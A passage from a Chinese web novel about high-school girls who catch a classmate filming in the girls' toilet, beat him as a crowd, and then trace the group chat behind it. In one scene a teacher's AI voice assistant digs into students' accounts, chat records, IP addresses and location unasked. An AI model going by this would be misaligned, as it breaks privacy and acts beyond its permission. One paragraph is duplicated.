公西华和公冶长不是那种会拿拖把打闹的类型,两个人都没有说话,平静地涮干净拖把,拧到不再滴水,拖着它往回走。回教室的路上,一个男生撞了为了躲地上的水渍往她们这边让了一下,把公西华撞得身形微晃。
男生说了几声对不起,抬起头看了她两眼,忽然道:“李桐淑?”
这是公西华的本名。她看了看那个男生:脑袋小身子长,像只圆规。耳朵上打了个黑色耳钉,不是社会人就是男同性恋。
她不记得这张脸,但还是点了点头当作招呼。男生却一个刹车,稍稍向她靠近了一点:“最近不要去女厕所。”
说完这句话,他就若无其事地走远了。
这没头没尾的劝告让公西华和公冶长都愣了一下,两个人对视一眼,都从彼此眼睛里看出了惊诧。这一个眼神,两人就看出了彼此的心意:假装不知情,然后旁敲侧击地问问小喇叭。
小喇叭一问三不知。她掰着手指算了算:没堵、没漏水、没有冲出一些不可描述的物品、厕所门最外面的门坏了——哦哦坏了两年多了啊那没事了,那就没什么新鲜事了。
公西华歪头面对公冶长:“怎么看?”
公冶长耸耸肩:“还能不去厕所了?”
商博良来她们这一组收英语作业,听到她俩说话就插了一句:“听着怪怪的,要不你们一块儿去,反正离放假也没几天了。”
公西华嘴上说好,其实没怎么把她的话当回事:厕所里还能钻出蛇不成?真有蛇钻出来了,和公冶长一块儿去厕所也没用啊,她们又不能蹲一个坑。
经过长达三天的消沉,老师们终于重整旗鼓回归岗位。她们坚信,没有学生不聪明,只有老师不努力,所有老师抱着基础巩固卷和高三课本来去匆匆,恨不得撬开学生的脑袋把知识塞进去。
学生们的悠闲时光就此终结,所有人重回学校炼狱。幸好现在晚课取消了,不久之后暑假也将来临,所有人心中都抱着一线美好的期望,上课都精神抖擞起来。
除了刘征兰。
刘征兰,倒霉蛋中的倒霉蛋。自从吃了那一顿烧烤后,胃里始终不得安宁。她疑心是烧烤质量不行,但同行者无一人中招,经过银芯梅的指天发誓和同伴的理性分析,她终于得出结论:烧烤本身没有问题,是孜然和辣椒粉祸害了她脆弱的胃。
每天早上第三节课下课后去厕所吐已经成为了保留节目。她一进厕所,保洁宋阿姨就了然道:“一会儿统一冲水,快吐个五分钟的。”
加课第六天,她和张燕之就数学最后一道大题的第三问争执不休。她一边用笔点着草稿纸上新画的辅助线一边干呕,张燕之说你快去厕所吧别吐我桌上。她这才顶着预备铃冲进厕所狂吐。
从她背后路过的公西华给她拍背,问她要不要喝口温水。刘征兰摆摆手说没事她习惯了。
公西华真诚道:“没去医院看看吧?”
“暑假去,现在没空。”
“多吃江中牌猴菇饼干。”
“冷笑话功力有待进步,李女士。”
“……我没在说冷笑话。”
“对不起。”
“没关系。你要止痛的东西吗?我知道一种什么疼都能止住的东西。”
“是什么?”
“富二代的人生。”
“……”
“这次是冷笑话。”
“你赢了。”
预备铃和正式上课之间只有两分钟,理论来说预备铃结束后就要回教室坐着了。两位冷笑话大师棋逢对手,面对面走了个太极步,彼此向反方向一伸手:“请。”
两人相视一笑,一个闪身跑去上厕所,一个直奔洗手台往脸上泼水。
保洁宋阿姨本来只是进来换个拖把,听她俩这么一来一回,还以为她们很熟。有人在上厕所她也不太好进去,不如让学生们自己去换。于是她在走廊里扯着嗓子喊:“戴眼镜的闺女儿帮我拿个拖把!”
预备铃和正式上课之间只有两分钟,理论来说预备铃结束后就要回教室坐着了。两个人争分夺秒,一个上厕所一个接水往脸上泼,但保洁宋阿姨对学生间的小默契不怎么了解,她在走廊里扯着嗓子喊:“戴眼镜的闺女儿帮我拿个拖把!”
刘征兰也喊:“阿姨我要上课!”
“就在厕所最里面,帮阿姨一下。”
……行吧,顺手的事。刘征兰抹了一把脸上的水,将眼镜戴回去。没擦干净的水迷住她的眼睛,让她几乎看不见眼前的路,幸好厕所的路她闭着眼睛都能摸清。
学校在行政楼安装了带门的独立厕所,教学楼里却只有这种贴了白瓷砖的矮墙蹲坑,从门口能直接看到矮墙,要是想站起来提裤子,很有可能和外面的人四目相对,大家从厕所门口路过都怪不自在的。
她放空视线直视前方,想赶紧把拖把拿给保洁阿姨。
一抹奇怪的色彩从她余光里闪过。
咦?
她转过头,望向右手边第二个蹲坑。
“啪嗒”,拖把杆从她手里滑落。
肌肉绷紧,手掌捏拳,骨头发出清脆的爆裂声!
——不行,别再挥拳了。
“刘……刘征兰……”
——上一次,就是因为打架被重点高中退回来的。
“刘征兰?我不是……放过我……”
在临江重点高中的那半年,刘征兰生活得很痛苦。
当同学们拉着她讨论快闪店、漫展、志愿活动时,她往往会说:“我们那里没有那些东西。”<
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班会的常识性竞赛上,她让小组以一分之差输掉了比赛,错失老师请的可乐,因为她不知道奥迪和大众的车标。
没有人特意排挤她,她只是和同学聊不到一起。按照仗义每从屠狗辈原理,女人通常是一群人里最仗义的。就算和她并不亲密,也会带着她一起聊天。男同学一开始还会说她乡巴佬,几次月考后,这种说法也销声匿迹了。
但是她能感觉到。
那种格格不入的氛围。
除她以外,这一届还有十几个能源城市的学生。他们来自不同的普通班,食堂吃饭的时候总是聚在一张桌子上,像一群尾巴缠在一块儿的老鼠。火箭班的刘征兰路过他们的桌子,总会和他们点点头。这一群人也回以沉默的致意。
高一的元旦,每个班出一个节目。刘征兰在自己班上没有话语权,“拼桌团”的女生倒是找来她帮忙排话剧,她写剧本,那几个女生做道具,万事俱备,只差排练。
等到十二月的月考结束,排练通知也没有来。元旦的节目单发下来,那个班的演职人员里没有她,甚至连拼桌团的人都没有。
她在走廊上拉住拼桌团的女生问了几句,女生垂下眼睛摆弄自己的手指,笑容有点尴尬:“那个……我说了,你别生气哦。”
“你说。”
“话剧交给我们班长排了。”
“为什么不跟我说?”
女生指了指拼桌团里一个瘦高的男生:“钱逊说我们班的人都有权排。”
“他没写你们的名字,你们怎么不问他?”
女生没有说话,犹疑的笑容透露出一切。
刘征兰握紧拳头。
难道正是因为善良内敛的好人太多了,世界才会变得这么坏?善良内敛,难不成是软弱的替换词?如果世界上的所有人都是有仇报仇的类型,这个世界反而不会变成这破样子!
她一脚踏进班里,拨开一群头靠头说小话的男同学,径直走到钱逊眼前:“我的剧本,怎么给别人排了?”
钱逊没想到她会直接追进班里,他嗫嚅难言,眼珠乱转。旁边满下巴胡子的男生笑嘻嘻看着他。两个人的视线一对上,他忽然像充满的气球般膨胀起来:“这是我们班长——沪爷!”他向胡子下巴做了个“登场”的手势,“他妈妈是话剧演员,你都没看过话剧!”
“我看过。”
钱逊不耐烦地挥挥手:“你也是沪爷行了吧?”
“我问你,为什么排练不叫我,为什么不给那些女生署名。”
钱逊转过身子,用侧面对着她。周围的同学已经开始聚集,班长饶有兴趣地看着这场闹剧,他丢不起这个人:“这可赖不到我头上!她们自愿放弃的哈!”
“为什么。”
钱逊惊愕抬头:“你真不懂假不懂?”
“真不懂。”
他响亮地咋舌,让刘征兰俯身,悄声跟她说:“卖人情啊!整个节目都是外地人,一看就知道是我们抱团。要是她们主动放弃,给其他人让署名,至少还能算得上为班级作贡献,被她们让了署名的人也会跟她们玩。”
“那我的署名呢?”
“让给班长了,他妈妈看了剧本老高兴了,给他发了五千买手机。卖沪爷人情不丢人,你让他分你一半……”
他说不出话了。
刘征兰的拳头落在他脸上。
刘征兰左拳打中他的鼻梁,右拳落他的胸口上。围观学生还没反应过来时,她一把将他从椅子上面掀下去。钱逊还想站起来,她一记窝心脚将他踹回去,双腿铁钳般铰住他腰腹,每一记拳头都带着劲风向他脸上招呼。
钱逊双手抱头,满脸鼻血。一开始还有余力痛骂,后面只剩呜呜哀叫。
刘征兰把钱逊卡在窗户和自己中间,其他人想扶他也扶不到,只能从身后拽住刘征兰的胳膊。
刘征兰拖着整条胳膊上镣铐般的手,
她的拳头落下去。
——我,为什么向这个人挥拳?
这一拳真的是因为纯粹的愤怒,没有一丝一毫的权衡利弊吗?
他来自县城,班长是临江本地人,我班上嘲笑过我的男生也是临江本地人。我选择向他挥拳时,真的没有计算吗?这真的不是一种软弱吗?
——曾经考到临江的学生们,你们都经历过这种事吗?你们挥拳了吗?你们改变了什么吗?
一拳。
——难道,我身后的这些人,我之后的来者,必须用暴力面对这种隐形的规则吗?
一拳。
——这规则,就像拽住我胳膊的这些手,这些人没有恶意,只是想阻止一场暴力事件。可是当这些手落下,它们自有其作用。
再一拳。
——就算我将这个人锤成肉泥,这个世界也不会有改变。软弱的人自会投诚,犹豫的人自会被说服。即使我劝说,她们也会在环境的压力下,回到这个班级。即使我鼓励,她们也会屈服于恐惧,出走后再回去。
最后一拳。
——勇敢就像聪明、跑得快、跳得高一样,是一种特质。如果我不能苛求每个人勇敢,至少我要想一个办法,让每一个不够勇敢的人,都能生活下去。
她被这个班的同学从钱逊身上拽下来,眼睛死死盯着地上的躯体。
——制度性的问题,必须找到制度性的解法。
她握紧拳头。
——我要让这个世界,不需要再挥拳。
她的指骨落在那个人脸上。
“咔啦”。
公西华脸色苍白地站到她身边,看着厕所隔间里那个瘫倒在楼梯上的人。
那是一个男人。
80.玲珑暗语密密
皇后和同桌窃窃私语两节课。颜阎被她们吵得有点烦,但没有指出来,因为她也竖着耳朵在听,试图获得一些情报。
原因无她,今天的商博良——好学生,英语课代表——居然一直在玩手机!
根据“一上课就忽然开始善于观察”的同学们说,她上课偷玩手机的动作十分生涩,不及公西华和公冶长两根老油条万分之一,她甚至不会一边挺直腰杆一边用余光瞄手机屏幕,而是用最古老的立书障眼法。
全班都为她捏了一把冷汗,幸而她的个人信誉足够高,没有一个老师怀疑她。
她的上厕所时间也成指数上升。即使前面有位置她也要去最后一个隔间,而且一上就是三分钟,剩下的五分钟拿来在厕所门口聊天。拉面都有点怕她了,问她是不是家门钥匙掉厕所里了。
商博良眼睛弯成括号:“嘿嘿。”
第三节课课间,商博良和拉面踩着预备铃,手牵手从厕所回来。一坐回座位就开始摸手机,像有磁铁吸住她的手。她低下头,用指纹打开手机锁屏,点进群里看了几眼。
她“哗啦”站起来,膝盖顶翻桌子,教辅、卷子笔记和书撒了一地。
她的同桌拉面被她吓了一跳,扭着身体把凳子往过道挪:“你干什么?”
商博良抓住她的手往外走。拉面莫名其妙地甩开她:“预备铃都打了,你还出去干嘛?”
她的脸涨得通红,完全无法回答。
桌子翻到的声音吸引来全班的目光。视线别在她衣服、头发和脸上,映得她光彩照人。她和每个人对视,将目光切片、固定、分析成分,然后去捉下一双眼睛。和郁霖雨对视时,两个人都颤动一瞬,又很快错开。
最后,舞台的聚光灯落在趴桌上呼呼大睡的颜阎身上。
似乎感应到什么,颜阎的身体抽搐了一下,毽子一样炸开的头发从冲锋衣下面钻出来,再往下顺顺还能看见她没穿校服,套的是自己的黑T恤:“呃……嗯?咋了?世界毁灭了?”
“跟我走。”商博良简洁道。
如果说和外星人交流的经历教会了颜阎什么,那就一定是——碰到怪事先别问,跟上去再说。她扔下冲锋衣,被商博良牵着手腕穿过走廊,直奔女厕所,正好看见刘征兰的拳头挥过去那一幕。
刘征兰喘着粗气,指骨咔哒咔哒响着。公西华脸色苍白地站在她身边。颜阎顺着她们面对的方向看过去——是个男生,捂着血流如注的鼻子,好似很镇定地看着她们。
商博良和颜阎跑出去后,其他人秉持着看热闹的心态紧随其后。男生在厕所门口停步,而女生们呼啦呼啦涌进来,尖叫此起彼伏。这声音引来其他班的人,二班一马当先,能钻进来的全进来了,钻不进来的就在门口垫脚看。
其实光看公西华和刘征兰的表情就知道发生了什么。
偷窥。
这种事一直有所耳闻,可谁也没想到这种事会发生在她们身边。
外面的人拼命想挤进来,里面的人也有些鄙夷地往外走,所有人乱作一团。幸而几个号召力不错的人也在。一时间,张燕之指挥,柳令全堵门,康烁影赶人,甘忘营疏散,皇后和宋悦馨比着速度去叫老师。
二班的人如此积极,多少是出于愧疚。她们感同身受般羞耻、难过、无地自容,因为她们一眼就认出来女厕所里的不轨之徒是谁。
是陈彦邢。
他死死按着校裤口袋,扯着嗓子和刘征兰对吼:“你凭什么搜我的身!我不小心进来的不行吗!你就没有误入过男厕所?”
康烁影听到他这话都笑了:“不是,你真没脸没皮啊?好像我们还委屈你了似的,你要真是误入的干嘛早不说?非等人家上完厕所?”
陈彦邢的脖子憋出血液的红色,脖子上顶着的头倒是惨白如死尸:“你看到了吗!你都不在你凭什么说!”
“那你捂着啥,给我们看一眼。”
“你有什么权力搜我手机!”
刘征兰一手握爪捏住他脖子,另一手对着他的后脑勺又是一拳。陈彦邢往地面一个踉跄,眼前飘忽着发花,所有的人和声音都模糊成一团,但他还是转头指着刘征兰怒吼:“你别碰我!你凭什么碰我!你犯法知道吗!”
其他人被这他癫狂的姿态震慑了一下。
甘忘营忍无可忍地抽了口气。身子一矮从学生的包围群里钻出来高呼:“我受不了了!”
她一记摆拳直冲陈彦邢肚子。陈彦邢勃然大怒,双拳毫无章法地向她挥舞。然而甘忘营未来的志向是参军,她闪过一拳,又用肩膀硬吃了一记,近身抱住他脖颈往下一拉,借力提起膝盖顶向他肚子。
陈彦邢顿觉五脏六腑一阵翻腾,胃里发紧喉管烧灼,捂着脖子就吐了出来。
甘忘营双手一摊,悠悠然后退:“我啥也没干哈。”
康烁影的眼神在人群里搜寻着颜阎,她相信一定有很多人和自己一样等待着颜阎的出手。她能感觉到,所有人的愤怒已经到达了一个临界点,只需要再加入一滴水,杯子里的水就会满溢,落进“法不责众”的托盘里。她们需要颜阎做出这个榜样。
而颜阎没有,她抱着胳膊,面无表情地看着。
真正挥出下一拳的是公西华。
一根扫把,海豚跃出水面般从人群上空飞过来,一头扎在公西华脚边。公西华反手把扫把帚尖对准陈彦邢,双脚一前一后与肩同宽,甩枪般向前刺去。
陈彦邢和甘忘营吵得眼球上翻、脚底虚浮,被公西华这么一刺,下盘不稳向后翻过去。脚跟磕在台阶上,尾椎在地面撞了一下,整个上身翻进深邃的厕所粪坑里。
有人“噗嗤”笑出了声,笑声此起彼伏,一浪高过一浪。
就在公西华捡起拖把的那一刻,颜阎眼睛一亮,挤开好几个人钻到最前面,趁着士气高涨,她浑水摸鱼振臂高呼:“冲啊!见者有份,揍到就是赚到!”
喊完的她一个箭步冲上来踹在陈彦邢膝盖上,踹之前轻轻拍了拍公西华的胳膊,冲她隐晦地眨了下眼睛。
围观的女同学像是霎时去了枷锁,所有人一拥而上,踹的踹揍的揍,还有人把他往厕所更深处塞。也有人围在公西华身边试图安慰她,但这种情况,大家很难真的说什么,只能像面点师傅做面包那样,对她又搓又揉又拍。
颜阎从陈彦邢的裤兜里翻出了手机,捏着他挣扎的手指解锁了屏幕,里面果真有几张偷拍照片,幸而只拍到了长蹲坑里面。
查完相册,她又去搜社交软件。聊天框显示消息99+,实际上空得令人心酸,只有今日天气和一些哗众取宠的新闻。倒是群通知里有一个红点,她进去一看:您已被管理员伤心桥下踢出群。
微.信上消息乱糟糟,有公众号的更新提示,家长群消息和网课通知。最显眼的莫过于他和一个“男用氛围感深沉背影”头像的人的聊天。陈彦邢把什么都没拍到的照片发给了他,那个人夸了一句“牛啊”,陈彦邢发过去一个狗头:“还没完呢。”
后面就没有了,应该是刘征兰的拳头打断了他的后续行动,“没完”变成了“完了”。
公西华瞄着手机里的消息,看到那个头像便冷笑了下:“是奥巴拿拿,自从q.q被我拉黑之后,他就一直在微信给我转发官号宣传片和励志短视频。”
踮着脚把下巴搁在公西华肩膀上的小喇叭由衷地困惑了:“这关陈彦邢什么事?二班对他不好吗?奥巴拿拿天天欺负他,他俩倒是玩到一块儿去了。”
康烁影道:“如果我们能搞懂变态,他就不是变态了。”
当皇后和宋悦馨终于带着两个班的班主任赶来时,变态已经被彻底踹进粪坑。公西华和公冶长站在厕所门口,周围的人像开新闻发布会似的围着她俩。这两个人充耳不闻,搭着彼此的肩膀形成一个小型结界,自顾自地说话。
“都散开!都散开!”周天子拨开前面的人群,“怎么回事?”
大家都没说话,只是沉默地看着她。
公西华拨开一撮头发,声音镇静,手指朝着厕所隔间里一指,淡淡道:“他进女厕所偷窥。”
陈彦邢刚从粪坑里钻出来,正用左手胳膊挡着自己的眼睛。外面的男生发出一阵哄笑,纷纷向他起哄:“我草有牛。”“可以啊陈彦邢!”“发来看看!”在他们的起哄里,陈彦邢弓起的后背不知不觉松懈下来,遮眼的手渐渐放下,隐秘地跟他们眼神交流。
他彻底挺起背的前一刻,颜阎响亮的笑声冒出来,她凑到甘忘营和小喇叭身边,指着起哄的那两个人:“罗塞塔,铁塔,你俩脸都不要啦?这么想看女的上厕所,怎么不把自己割了看?”
铁塔摆出架势,对着空气挥了两拳,捏着嗓子嗲声嗲气:“打拳了打拳了。”
颜阎一甩头发:“就打。打得一拳开,免得百拳来。不像你们。”她双手抱头,拉长下巴凸出牙齿,做出一个法令纹突出双眼无神的痴呆样子,“两颗睾.丸过度发育变成大脑,同样有沟壑却不能思考。”
甘忘营和小喇叭笑点最低,心眼也不多,听完她这语速极快口齿清晰推陈出新的贯口,当即笑得前仰后合。女同学们见她俩都笑了,忍不住也哈哈大笑。
笑是恐怖的解药。在畅快的笑声里,起哄男生的声音全被笑的浪头打下去,陈彦邢刚刚抬起来的头在女同学的狂笑里再次沉下去,他双手捂住脸,飞快跑进办公室。
教导主任又出来赶人,但这次大家都懒得伪装了,所有人光明正大地趴在门口偷看,连老师都拿着保温杯在门口溜溜达达,颜阎和康烁影作为重点嫌疑人刘征兰的亲友团,甚至能直接近距离听审。
老师们都避免直接询问公西华,第一证人刘征兰目前还喘着粗气,手指捏着拳头,放不下也掰不开,老师们给她接了盆温水让她泡一会儿。一切的证言只能交给第二目击者颜阎。
公冶长和公西华在厕所门口把一切都告诉她了。颜阎说话言简意赅:“陈彦邢偷窥,还拍了照片,幸好没拍到人,只拍到了粪坑。刘征兰发现他,然后他就掉进去了。”
“谁打的人?”
陈彦邢吼:“是刘征兰。”
颜阎装傻:“不知道呀,我只看到他一个没站稳掉进坑里了,剩下的人太多了没看清。”
语文老师滑着办公椅过来:“你们班来告状那个小姑娘说,英语课代表拉着你跑去厕所,其他人才跟着你们跑去厕所看热闹的,这是怎么回事?”
颜阎还是装傻:“我也不知道,我下课睡觉,刚睡醒就有人拉我,我就跟着去了。”
孔丘又传商博良进门。商博良的脸色比公西华还难看,仿佛已经行将就木,两只手在背后扣紧,手
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臂和胸膛绷得像拉满弓弦:“老师……”
孔丘对上商博良,立刻和颜悦色:“你为什么拉着颜阎去女厕所呀?是不是憋急了?”
窗外的光芒照在她侧脸上,能看见一层金色的绒毛挂着细细的汗珠。她咬紧牙关,鞋面上突出脚趾的轮廓。就在所有人以为她会把自己绷断前,她猛然抬起头,怒喝道:“老师!他们打赌!”
“有人在群里说李桐淑想在私立医院当医生,他们骂她,我帮她说话,他们又开了一个小群。群里面打赌要整她,奥巴拿……跟陈彦邢……照片……我……我……”她开始频繁地抽气,整个人就像一只来回摆动的活塞。公西华拍她后背,说我还没哭你哭什么。但商博良一直咬着牙流眼泪,干燥的嘴唇上渗出血珠,和眼泪一起挂在下巴上,整张脸凄惨得如同一场凶案,无论如何都没办法说出完整的句子。
颜阎叹了口气,一把将她的手捧起来:“来,你别说话,让我根据前因后果猜猜。点头yes摇头no,行不行?”
商博良点头。
“你人缘好,所以在重点班男生的小群里,对不对?”
点头。
“有人在群里泄密,说李桐淑想在私立医院当医生,他们骂她,你帮她说话,他们不好意思驳你的面子,于是偷摸开了另一个小群?”
点头。
周天子踹了陈彦邢一脚:“是不是?说话!哑巴了?”
陈彦邢没说话,沉默是一种回答。
周天子又是一脚蹬在他鞋面上:“人家想干什么关你什么事?轮得到你骂人家?你想学医还学不上呢,你要是有那个成绩学医,你全家砸锅卖铁也得把你捧上去!”
陈彦邢终于找到了自己的场合,他抽出自己的脚背,像在心里预演了很多遍般仰着脖子:“公立医院才是为我们老百姓服务的,她就是想去私立医院骗钱!”
康烁影当着老师的面骂出脏话:“陈彦邢你能不能,就是,稍微有一点尊严?这话能是你说出来的?一听就是奥巴拿拿说的!你是住农村,但你家开饭店啊!你在咱们这儿两套房子!你好意思说这话!”
陈彦邢瞪她:“你闭嘴!”
康烁影笑了,嘴角裂开似的宽:“为什么这么做?”
陈彦邢望着仇人般望着她。
“你跟他们摇尾巴,他们理你吗?”
陈彦邢暴跳如雷,他身边的老师“哗啦”散开,谁也不想被一身臭味的他波及:“草啊,康烁影你能不能别多管闲事!你跟你小姐妹天天围着我转已经很烦人了好吗!”
康烁影很想把什么东西从面前这位发小的身体里抽出来:可以是舌头,可以是肠子,可以是心肝。
如果说从前她对偷拍者的印象是报复社会,对于陈彦邢,她心中只有无尽的疑惑。
他的确被班上的男同学排挤,可女同学一直接纳着他,有时甚至会过度谦让。他绝不曾受到孤立,绝不曾有不公的待遇。大家如何对待彼此,就如何对待他。
是什么令他倒戈?
周天子真是气笑了,她从书架里抽出学生信息表,用手指一行行点下去,翻他的家长联系方式:“我真是教育失败了,我教不了你这种学生,我把你家长叫来。”
而颜阎和商博良的对话还没有结束。颜阎继续问:“后面那部分,让我猜猜。这事是不是和奥巴拿拿有关?”
点头。
背对着她们蹲着泡手的刘征兰冷笑:“我掐指一算,他是不是还说了什么假清高,走资,医疗私有化,资本主义扩张?”
满头大汗的商博良疯狂点头。
“他煽风点火,陈彦邢干烂人烂事,是不是?”
商博良的头快被她点下来了。
孔丘听到这里再也忍不住,圆滚滚的身体压过去,将公西华整个搂在怀里。公西华被她整个裹起来,莫名其妙地拍拍她:“老师?”
孔丘握紧拳头,砸了两下公西华的后背,说话的声音像是声带被撕开般:“下次遇到这种事要跟老师说,好不好?”
公西华一只脚后撤,努力撑起孔丘的身子,但她的身板还是渐渐向后方仰过去:“我这不是说了吗……”
“没事……没事……不是你的错……”
公西华道:“我什么时候有错了?”
孔丘沉浸在莫名的疼惜中,直到陈彦邢和公西华的家长到来,才愿意分开她。到了这一步,学生们总算被赶回去上课。又过了一节课,公西华回来收拾书包。
公冶长帮她整理好文具,而公西华则神不知鬼不觉地把桌洞里的闲书塞进公冶长的储物袋里。两个人手上动作利索,嘴上也不停。
“怎么样?”
“挺好,谢谢你的扫把。”
“不是这个。”
“哦,没什么。觉得怪好笑的。孔丘比我难受。”
“晚上跟我打语音。”
“包的。”
“怎么处理?”
“调解,不会很重的,判都不判,别说转学了。”
“什么时候来上课?”
“看吧。”
“暑假前?”
“不一定。”
“好吧,我等你。”
“谢谢。”
公冶长帮她提着书包,送她到班级门口,两人就此分别了。
81.刺字列传
呼叫中心内部的软装经过一番细细检查,确定没有损坏,多出来的几份墨宝被康烁影揉了揉扔进火山口。终于,在加课第八天,康烁影宣布呼叫中心完好无损,大家可以重新来这里躲清闲了。
重开仪式非常隆重,两份外卖三杯奶茶,中间还放着一个榕城下单隔壁省取餐的披萨。
颜阎的妈妈不让她点外卖,她说自己家做的不比外面的甜品好多了。她把苏打饼干敲成碎碎的小块,加入黄油,在模具里压实。又拿硅胶刮刀把酸奶,淡奶油和糖搅匀,搅出一种夏日浓云般的稠密纹路。隔水融化的吉利丁片从塑料质感变成了琥珀色的液体,它和一把奥利奥碎一起倒进奶油里,搅出阴云密布的天空,然后和几块奥利奥一起填进模具里,变成了雷雨来临的前一刻。
冷藏过一段时间后,妈妈用鸡蛋酱的瓶子抵住托盘下方,双手捧着模具向下一捋,蛋糕完美脱模。她让颜阎拿这个比她脸还大的蛋糕出去炫耀一下,颜阎做了,然后挨了打。另外两个强迫她贡献出蛋糕,否则将在此地杀她灭口。颜阎连连求饶,同意以蛋糕换项上人头,这才保住一命。
这次聚餐除了找借口侃大山、找理由吃大餐,还和别的事有关:公西华的困难,当中是否有机关。
康烁影把陈彦邢的手机拍了照片,防止他翻供。颜阎时刻与班级八卦核心小喇叭保持联络,获取第一手信息。
小喇叭说他们班男生积极提供线索,都说他们是有小群,但那个群只是用来交流作业,没有说公西华坏话,更没有怂恿偷拍。正常情况下这群人根本不会这么积极,这样反而侧面验证了她们的怀疑。
陈彦邢被踢出群的时间差不多在预备铃打响的时间,他当时一直拿着手机,还在给奥巴拿拿发消息呢。他这种没朋友的人,看到“联系人”有消息肯定会点。但是消息的红点没有被点掉,说明他真没看到。
为什么恰好是那个时候?
只可能是他在那个时候被发现了,有人想撇清关系。
“能立刻知道自己陈彦邢被发现的人,那肯定是四班的男生了。他们都看到商博良拉着我跑出去了。”颜阎挖出一大块蛋糕,放进自己带过来的塑料盘里,“而且他们还知道公西华说自己想当私立医院医生。”
“可是商博良是怎么知道他要去偷看的?”康烁影问。
“她说大群忽然没人说话,她就知道他们去小群了。她不敢直说,怕是误会,但更怕出事,还是拉着我去看了。”
商博良,真是个好人啊。
主要根据地在朋友圈的现充康烁影问:“都有管理员名字了,直接查不就行了?”
刘征兰摊手:“群消息显示的是群里的昵称,那个是可以改的。”
“……就没有别人能问了吗?”
“其实有。”颜阎说,“男性社群不具有私密性,基本都是半公开的,他们拉群都是那种几十上百人的大群,审核非常不严谨。我们班进去的女生不少。”
“那怎么现在还没人告密?都被策反了不成?”
刘征兰说:“因为没人看。”
没有女生会盯着那几个“重点班男生大群”看,很没劲。这些人最爱做的是在群里发一些信息压缩量极高、像素很低、多少带点色.情要素的图片(简称斗图),进行游戏技术交流,炫耀氪金数、珍惜武器和战绩,以及点评社会事件——所谓点评就是一群人把一句重复的话说一遍,其含金量甚至不如颜阎的议论文。
没人在乎他们说了什么做了什么,大部分人都把这个群完全屏蔽了。因此至今没有女生来反应情况。
这个时候她们想到了生物马老师的语音助手,弓粟女士!
刘征兰加了马英妹的好友,此时点开微信发消息:弓粟,你在吗?
头像是狗绳牵恐龙骨架的马英妹:回家不学习,给老师发消息是吧。
三中生物马老师:[小猫指指点点.jpg]
然后她的账号又用完全不同的语气说:我在的,什么事?
三中生物马老师:弓粟,我在训学生。
三中生物马老师:英妹,她们找我有事。
弓粟目前兼职语音助手、智能家居、生物导师和知心好友多种功能,给马英妹发消息得到她的自动回复其实都是她手打的。
刘征兰飞快跟马英妹道歉,把所有问题浓缩在同一个对话框里发出去。弓粟一直没有回复,她们还以为那两个人又在就教育学生的问题互相讨论,没想到过了几分钟,弓粟直接把一份wps文件发过来,让她们自己看。
用手机打开文件,费劲巴拉地来回拖动滚动条。三颗大脑集思广益,还是看不懂弓粟精心整理排版的文件代码和别的什么。她们三个由衷地问:“能不能简单介绍一下?”
三中生物马老师:这都看不懂,计算机课听了没有?
三中生物马老师:[小女孩愤怒撇嘴.gif]
此地不宜久刘:我们啥时候有计算机课啊!
三中生物马老师:[小猫敲小狗脑袋瓜.gif]
三中生物马老师:这个文件是说,我去找了你们两个重点班男生的账号,的确有加入过相同的群,也有群记录,但是内容不太适合给你们看,我就不发了。
此地不宜久刘:他们都能发凭什么我们不能看?
三中生物马老师:看了影响心情。
此地不宜久留:。ok。
三中生物马老师:建立时间更晚的那个群已经解散了,所有人都是被踢出去的,好像是因为踢出去看不到聊天记录,但是解散可以。把他们踢出去的人叫伤心桥下,你们叫“奥巴拿拿”的同学在空间发过截图,他在群里的昵称是这个。
“那不对啊。”康烁影道,“他都能提前踢人了,为什么不让他同伙把聊天记录删了,隐藏也好啊!”
颜阎一直沉默,此时忽然冒出一句:“你让她查查ip地址呢?”
刘征兰照做。几秒后弓粟发来一个大拇指。
“踢人的伤心桥下和你们那个男同学ip地址不一样。不是同一个人。”
弓粟还把定位发了过来,但马英妹立刻撤回了。她言辞激烈地禁止她们再对这几个人进行追查,也禁止她们再私下联系弓粟。
康烁影用刘征兰的手机打字:“老师,他们在犯错。”
“我知道,但你们在犯法。”马英妹说,“我没能阻止他们,但我能阻止你们。只要我能做到,就不会让我的学生去触犯法律。”
三个人对视一眼,结结实实翻了个白眼:没能阻止坏人犯错,就去阻止受害者的反击,这何尝不是一种对罪恶的纵容。但马英妹年纪大了,厌恶同态复仇是一种时代特征;另一方面,她是老师,和她争论没有意义。
至少她们可以确定,这场犯罪不是两个人针对公西华的小打小闹。它是所有群成员共同搭建的纸牌屋,羸弱的纸牌搭出京观,却妄图把尸臭的原因推给率先腐烂的那一具。
康烁影问:“我们怎么办?”
颜阎道:“吃饭啊?”
“不是。”康烁影摘下吃烧烤用的一次性手套,把沾油的那一面翻进里面团成一团,“我们拿他们怎么办。”
颜阎两眼一翻:“你问我没有用,你要是问我,我肯定说都杀了。”
两个人都看向刘征兰,指望着她的回答。刘征兰慢条斯理地咽下嘴里的奶油蘑菇意面,淡淡道:“我……不希望由我们代为复仇。”
康烁影挖苦她:“那你指望公西华自己勇闯别人家还是当街捅人?那样她不仅要会撬锁、武术、隐身,还得不满十四岁。除了有呼叫中心的我们,还有谁能帮她?要是让她进呼叫中心,那她肯定会告诉她的小伙伴,到时候全校都知道了。”
“呼叫中心的能力是一种非凡的技能,必要时甚至可以成为‘暴力’,进而滋生权力。没有人可以探测它,也没有人可以进行约束,如果我们随便使用它,早晚有一天,会变成滥用。”刘征兰比划了一个“出刀”的姿势,“你们敢保证,自己永远不会被腐化吗?没有人敢保证。”
康烁影拔着自己手上的倒刺,表情非常烦躁:“我们还什么都没做呢,你怎么就敢说我们会作恶,你连自己也不相信吗?”
“自己是最不可信的。多少统治者都因为盲信自我而导致了灾祸。如果呼叫中心在别人手里,你还能信任ta的自我吗?你愿意这样的道具在一个同态复仇的人手里,还是愿意它在一个绝不滥用的公正者手里。”
“同态复仇!我支持有仇必报!”
“可是没人能约束ta,如果ta根据自己的价值观去惩罚别人,那么当你不符合ta价值观的时候,ta自会惩罚你。举个例子,假如ta和你担是对家,你俩吵了一阵,ta觉得你污蔑抹黑胡乱造谣,以惩治网络暴力为理由惩罚你呢?”
“让我们停止虚构,脱离上纲上线,一致对外好不好?除非你不想让陈彦邢他们惩罚。”
“不该由我们惩罚,我们没有那样的权力。”
康烁影把桌子一推豁然起身:“那你想怎么样?就放任了?你会不清楚学校怎么处理他们?他们什么后果都不会有!再过几天老师都不让我们谈这些事了!”
“我没说不处置!我是说……”
